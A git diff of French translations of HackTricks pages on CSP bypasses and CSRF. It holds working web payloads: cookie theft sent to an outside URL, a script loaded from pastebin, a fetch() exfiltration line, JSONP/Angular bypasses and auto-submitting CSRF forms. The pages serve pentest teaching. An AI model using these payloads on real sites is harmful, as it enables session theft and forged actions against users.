Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

This commit is contained in:
Translator 2023-08-02 15:26:14 +00:00
parent 1611151717
commit c34f00113b
3 changed files with 275 additions and 187 deletions

View file

@ -14,7 +14,7 @@
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme de tous les programmes de primes pour les bugs de crypto.**
**HackenProof est la plateforme des primes de bugs cryptographiques.**
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
@ -22,7 +22,7 @@ Les primes HackenProof ne sont lancées que lorsque les clients déposent le bud
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
**Devenez une légende du piratage web3**\
**Devenez la légende du pirate web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
@ -31,9 +31,9 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
## Qu'est-ce que CSP
La politique de sécurité du contenu (Content Security Policy ou CSP) est une technologie intégrée au navigateur qui **aide à se protéger contre des attaques telles que les scripts intersites (XSS)**. Elle répertorie et décrit les chemins et sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des frames, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self), et permettant l'exécution de code sous forme de chaîne avec des fonctions telles que `eval`, `setTimeout` ou `setInterval:`
La politique de sécurité du contenu (Content Security Policy ou CSP) est une technologie intégrée au navigateur qui **aide à se protéger contre des attaques telles que les scripts intersites (XSS)**. Elle répertorie et décrit les chemins et sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des frames, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self), ainsi que des fonctions d'exécution de code en chaîne telles que `eval`, `setTimeout` ou `setInterval` :
La politique de sécurité du contenu est mise en œuvre via des **en-têtes de réponse** ou des **éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées.
La politique de sécurité du contenu est mise en œuvre via **les en-têtes de réponse** ou **les éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées.
Mise en œuvre via l'en-tête de réponse :
```http
@ -91,7 +91,7 @@ object-src 'none';
* **unsafe-hashes**: Cela permet d'activer des gestionnaires d'événements en ligne spécifiques.
* **unsafe-inline**: Cela permet l'utilisation de ressources en ligne, telles que des éléments en ligne, des URL javascript:, des gestionnaires d'événements en ligne et des éléments en ligne. Encore une fois, cela n'est pas recommandé pour des raisons de sécurité.
* **nonce**: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une seule fois). Le serveur doit générer une valeur de nonce unique à chaque fois qu'il transmet une politique.
* **sha256-\<hash>**: Autorise les scripts avec un hachage sha256 spécifique
* **sha256-\<hash>**: Autorise les scripts avec un hachage sha256 spécifique.
* **strict-dynamic**: Elle permet au navigateur de charger et d'exécuter de nouvelles balises JavaScript dans le DOM à partir de n'importe quelle source de script qui a été précédemment autorisée par une valeur "nonce" ou "hash".
* **host**: Indique un hôte tel que example.com
@ -221,7 +221,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
#### Charges utiles utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet `window` ([consultez cet article](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
@ -248,6 +248,19 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep
```
#### Abus du code JS de Google reCAPTCHA
Selon [**ce compte rendu de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=fr&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Points de terminaison tiers + JSONP
@ -257,9 +270,9 @@ Cependant, certaines applications web utilisent des points de terminaison tiers
JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre.
Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers vulnérable à JSONP pour exécuter du code malveillant sur la page web cible. Cela peut permettre à l'attaquant de voler des informations sensibles, d'injecter du contenu malveillant ou de compromettre la sécurité de la page web.
Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers autorisé par la CSP pour charger un script malveillant qui exécute des actions non autorisées sur la page web. Cela peut inclure le vol de données sensibles, la modification du contenu de la page ou l'exécution de code malveillant.
Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière contrôlée et sécurisée.
Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que les requêtes CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière sécurisée.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
@ -306,7 +319,7 @@ Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cep
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Trouver d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS et domaine autorisé
```
@ -322,11 +335,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
D'autres points d'exécution arbitraire JSONP peuvent être trouvés [**ici**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés)
D'autres points d'exécution arbitraire JSONP peuvent être trouvés [**ici**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains d'entre eux ont été supprimés ou corrigés).
### Contourner CSP avec du balisage suspendu
Lire [comment ici](../dangling-markup-html-scriptless-injection.md).
Lisez [comment ici](../dangling-markup-html-scriptless-injection.md).
### 'unsafe-inline'; img-src \*; via XSS
```
@ -362,19 +375,19 @@ script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Parce que cette directive va **écraser les directives script-src existantes**.\
Vous pouvez trouver un exemple ici : [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Vous pouvez trouver un exemple ici: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'ensemble de la **politique**.\
Exemple : [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci: **`;_`** **Edge** va **supprimer** l'ensemble de la **politique**.\
Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Attaque par délai
Remarquez l'absence de la directive `'unsafe-inline'`\
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe>`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si vous pouvez d'une manière ou d'une autre **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe>`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction sleep. Ensuite, vous pourrez extraire le drapeau :
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction sleep. Ensuite, vous pourrez extraire le drapeau:
```javascript
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
@ -439,7 +452,29 @@ Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **co
Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Contournement de la CSP en restreignant la CSP
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **dom clobbering**, permet de **utiliser un autre script pour charger un script arbitraire**.
Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}
Dans [**ce compte rendu de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible, grâce à une **injection HTML**, de **restreindre** davantage une **CSP**, ce qui a désactivé un script empêchant CSTI et donc la **vulnérabilité est devenue exploitable**.\
CSP peut être rendu plus restrictif en utilisant des **balises méta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** permettant leur **nonce** et **en activant un script en ligne spécifique via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
La vulnérabilité CVE-2020-6519 a été découverte et divulguée dans le cadre d'une faille de contournement de la politique de sécurité du contenu (CSP).
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
@ -448,14 +483,14 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
Imaginez une situation où une **page redirige** vers une autre **page avec un secret en fonction** de l'**utilisateur**. Par exemple, lorsque l'utilisateur **admin** accède à **redirectme.domain1.com**, il est redirigé vers **adminsecret321.domain2.com** et vous pouvez provoquer un XSS sur l'administrateur.\
**De plus, les pages redirigées ne sont pas autorisées par la politique de sécurité, mais la page qui redirige l'est.**
Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé grâce à :
Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé via :
* **une violation de la CSP**
* **des règles de la CSP.**
* **les règles de la CSP.**
La violation de la CSP est une fuite instantanée. Il suffit de charger un iframe pointant vers `https://redirectme.domain1.com` et d'écouter l'événement `securitypolicyviolation` qui contient la propriété `blockedURI` contenant le domaine de l'URI bloquée. Cela est dû au fait que `https://redirectme.domain1.com` (autorisé par la CSP) redirige vers `https://adminsecret321.domain2.com` (**bloqué par la CSP**). Cela exploite un comportement indéfini sur la façon de gérer les iframes avec la CSP. Chrome et Firefox se comportent différemment à cet égard.
La violation de la CSP est une fuite instantanée. Tout ce qui doit être fait est de charger un iframe pointant vers `https://redirectme.domain1.com` et d'écouter l'événement `securitypolicyviolation` qui contient la propriété `blockedURI` contenant le domaine de l'URI bloquée. Cela est dû au fait que `https://redirectme.domain1.com` (autorisé par la CSP) redirige vers `https://adminsecret321.domain2.com` (**bloqué par la CSP**). Cela exploite un comportement indéfini sur la façon de gérer les iframes avec la CSP. Chrome et Firefox se comportent différemment à cet égard.
Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand la CSP bloque la ressource et quand elle ne le fait pas en créant différents domaines interdits dans la CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev)
Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand la CSP a bloqué la ressource et quand elle ne l'a pas fait en créant différents domaines interdits dans la CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev)
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -466,7 +501,7 @@ Astuce provenant de [**ici**](https://ctftime.org/writeup/29310).
**HackenProof est la plateforme des primes de bugs cryptographiques.**
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après vérification du bug.
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
@ -498,7 +533,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point d'extrémité d'une page** pour **abuser** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez abuser. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à abuser**. Pour plus d'informations, consultez :
SOME est une technique qui exploite une XSS (ou une XSS très limitée) **dans un point d'extrémité d'une page** pour **exploiter** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez exploiter. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à exploiter**. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -506,10 +541,10 @@ SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans
De plus, **wordpress** dispose d'un point d'extrémité **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Un attaquant peut exploiter ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut exploiter l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements de la fuite de CSP
## Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration
Si une CSP stricte ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
@ -586,7 +621,7 @@ Si vous savez comment exfiltrer des informations avec WebRTC, veuillez envoyer u
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
**Obtenez des récompenses sans délai**\
**Obtenez une récompense sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Acquérez de l'expérience en pentesting web3**\
@ -604,7 +639,7 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -74,7 +74,7 @@ Dans cette situation, l'attaquant peut se connecter à l'application en utilisan
### Contournement de la méthode
Si la requête utilise une méthode "**étrange**", vérifiez si la fonctionnalité de **remplacement de méthode** est active.\
Si la requête utilise une méthode "**étrange**", vérifiez si la fonctionnalité de **substitution de méthode** est active.\
Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Cela peut également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
@ -138,7 +138,7 @@ form.submit();
</body>
</html>
```
### Contournement de la requête de pré-vérification pour application/json
### Contournement de la requête de pré-vérification pour `application/json`
Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de pré-vérification est envoyée en premier.\
Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu **`text/plain`** et **`application/x-www-form-urlencoded`** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
@ -146,7 +146,7 @@ Vous pouvez envoyer un formulaire en utilisant `Content-Type: text/plain` en dé
Si le serveur n'accepte que le type de contenu "application/json", vous pouvez **envoyer le type de contenu "text/plain; application/json"** sans déclencher de requête de pré-vérification.
Vous pouvez également essayer de **contourner** cette restriction en utilisant un fichier SWF flash. Pour plus d'informations, [**lisez cet article**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
Vous pouvez également essayer de **contourner** cette restriction en utilisant un fichier flash SWF. Pour plus d'informations, [**lisez cet article**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Contournement de la vérification du Référent / Origine
@ -181,28 +181,17 @@ document.forms[0].submit();
</body>
</html>
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
### **Contournement de la méthode HEAD**
**HackenProof est le lieu de tous les programmes de primes pour les bugs de crypto.**
La première partie de [**ce compte rendu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - une solution de contournement courante qui n'est pas propre à Oak. Au lieu d'un gestionnaire spécifique pour les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de réponse**.
**Obtenez une récompense sans délai**\
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après que le bug soit vérifié.
**Acquérez de l'expérience en pentesting web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
**Devenez la légende des hackers web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
Par conséquent, si une requête GET est limitée, vous pouvez simplement **envoyer une requête HEAD qui sera traitée comme une requête GET**.
## **Exemples d'exploitation**
### **Exfiltration du jeton CSRF**
Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de l'**exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
### **GET en utilisant des balises HTML**
```markup
@ -238,29 +227,31 @@ Une méthode couramment utilisée par les applications web pour envoyer des donn
To send a form POST request, the web application constructs an HTML form with input fields for the desired data. When the user submits the form, the browser sends a POST request to the server with the form data as the request body.
Pour envoyer une requête POST de formulaire, l'application web construit un formulaire HTML avec des champs de saisie pour les données souhaitées. Lorsque l'utilisateur soumet le formulaire, le navigateur envoie une requête POST au serveur avec les données du formulaire comme corps de la requête.
Pour envoyer une requête POST de formulaire, l'application web construit un formulaire HTML avec des champs de saisie pour les données souhaitées. Lorsque l'utilisateur soumet le formulaire, le navigateur envoie une requête POST au serveur avec les données du formulaire en tant que corps de la requête.
The server then processes the request and performs the necessary actions based on the submitted data. It is important to note that the server assumes the request is legitimate and initiated by the user who submitted the form.
The server then processes the request and performs the necessary actions based on the submitted data. It is important to note that the server trusts the request because it assumes that the request is legitimate and initiated by the user.
Le serveur traite ensuite la requête et effectue les actions nécessaires en fonction des données soumises. Il est important de noter que le serveur suppose que la requête est légitime et initiée par l'utilisateur qui a soumis le formulaire.
Le serveur traite ensuite la requête et effectue les actions nécessaires en fonction des données soumises. Il est important de noter que le serveur fait confiance à la requête car il suppose que la requête est légitime et initiée par l'utilisateur.
### Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is an attack that exploits the trust between a user's browser and a web application. In a CSRF attack, an attacker tricks a victim into unknowingly submitting a malicious request on a trusted website.
### Cross-Site Request Forgery (CSRF) (Falsification de requête intersite)
La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance entre le navigateur d'un utilisateur et une application web. Dans une attaque CSRF, un attaquant trompe une victime en lui faisant soumettre une requête malveillante sur un site web de confiance sans qu'elle le sache.
Cross-Site Request Forgery (CSRF) is an attack that exploits the trust between a web application and its users. In a CSRF attack, an attacker tricks a victim into performing an unwanted action on a web application in which the victim is authenticated.
To execute a CSRF attack, the attacker typically crafts a malicious webpage or email that contains a request to the target website. When the victim visits the webpage or opens the email, their browser automatically sends the request to the target website, using the victim's authenticated session.
La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance entre une application web et ses utilisateurs. Dans une attaque CSRF, un attaquant trompe une victime pour qu'elle effectue une action indésirable sur une application web sur laquelle la victime est authentifiée.
Pour exécuter une attaque CSRF, l'attaquant crée généralement une page web ou un e-mail malveillant contenant une requête vers le site cible. Lorsque la victime visite la page web ou ouvre l'e-mail, son navigateur envoie automatiquement la requête au site cible, en utilisant la session authentifiée de la victime.
The attack works by crafting a malicious web page or email that contains a request to the target web application. When the victim visits the malicious page or clicks on the malicious link, their browser automatically sends the request to the target application, performing the unwanted action on behalf of the victim.
If the victim is authenticated on the target website, the server will process the request as if it came from the victim themselves. This can lead to unauthorized actions being performed on the victim's behalf, such as changing their password, making financial transactions, or deleting their account.
L'attaque fonctionne en créant une page web ou un e-mail malveillant contenant une requête vers l'application web cible. Lorsque la victime visite la page malveillante ou clique sur le lien malveillant, son navigateur envoie automatiquement la requête à l'application cible, effectuant ainsi l'action indésirable au nom de la victime.
Si la victime est authentifiée sur le site cible, le serveur traitera la requête comme si elle provenait de la victime elle-même. Cela peut entraîner l'exécution d'actions non autorisées au nom de la victime, telles que la modification de son mot de passe, la réalisation de transactions financières ou la suppression de son compte.
To protect against CSRF attacks, web applications can implement countermeasures such as using anti-CSRF tokens. These tokens are unique values generated by the server and included in the HTML form. When the form is submitted, the server verifies that the token is valid, ensuring that the request is legitimate and not a result of a CSRF attack.
To protect against CSRF attacks, web applications can implement measures such as using anti-CSRF tokens, checking the origin of requests, and requiring additional authentication for sensitive actions.
Pour se protéger contre les attaques CSRF, les applications web peuvent mettre en place des contre-mesures telles que l'utilisation de jetons anti-CSRF. Ces jetons sont des valeurs uniques générées par le serveur et incluses dans le formulaire HTML. Lorsque le formulaire est soumis, le serveur vérifie que le jeton est valide, garantissant ainsi que la requête est légitime et qu'il ne s'agit pas d'une attaque CSRF.
Pour se protéger contre les attaques CSRF, les applications web peuvent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la vérification de l'origine des requêtes et l'exigence d'une authentification supplémentaire pour les actions sensibles.
By implementing proper CSRF protection mechanisms, web applications can prevent attackers from exploiting the trust between the application and its users, ensuring the security and integrity of user actions.
En mettant en place des mécanismes de protection CSRF appropriés, les applications web peuvent empêcher les attaquants d'exploiter la confiance entre l'application et ses utilisateurs, garantissant ainsi la sécurité et l'intégrité des actions des utilisateurs.
```markup
<html>
<body>
@ -280,11 +271,11 @@ document.forms[0].submit(); //Way 3 to autosubmit
